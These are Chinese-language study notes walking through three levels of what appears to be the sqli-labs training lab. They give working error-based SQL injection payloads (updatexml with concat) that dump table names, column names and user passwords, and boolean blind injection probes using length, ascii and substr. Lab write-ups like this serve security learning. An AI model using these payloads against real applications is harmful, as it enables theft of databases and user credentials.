一.less-5
1.输入id=1或id=2,页面显示相同
2.输入错误语句,页面报错。因此对其进行报错注入。
3.输入简单的字符对其进行闭合,输入'--+闭合成功
4.输入?id=1' and updatexml(1,concat(1,(select database())),1)--+,查询数据库。
5.输入?id=1' and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema='security')),1)--+查询表信息发现返回结果超出一行
6.输入?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+将结果聚合为一条结果
7.输入?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+查询users表内的字段信息。
8.输入id=1' and updatexml(1,concat(1,(select group_concat(username,password) from users)),1)--+查询字段内信息,发现查询不完整。
9.使用limit去查询所有的数据
limit 0,1查询第一条数据
limit 1,1查询第二条数据
limit 2,1查询第三条数据
limit 3,1查询第四条数据
二.less-6
1.输入id=1或id=2,页面显示相同
2.输入错误语句,页面报错。因此对其进行报错注入。
3.输入简单的字符对其进行闭合,输入''--+闭合成功
4.重复第五关过程,输出相关数据。
三.less-7
第一种方法
1.首先进行闭合
2.输入?id=1')) and length(database())=8--+判断数据库长度为8
3.输入?id=1')) and ascii(substr(database(),1,1))>1--+,使用二分法判断数据库第一个字符
4.输入?id=1')) and ascii(substr(database(),1,1))>115--+,判断第一个字符为s
5.输入?id=1')) and ascii(substr(database(),2,1))>1--+
输入?id=1')) and ascii(substr(database(),3,1))>1--+
输入?id=1')) and ascii(substr(database(),4,1))>1--+
输入?id=1')) and ascii(substr(database(),5,1))>1--+
................
判断数据库的其他字符。
为security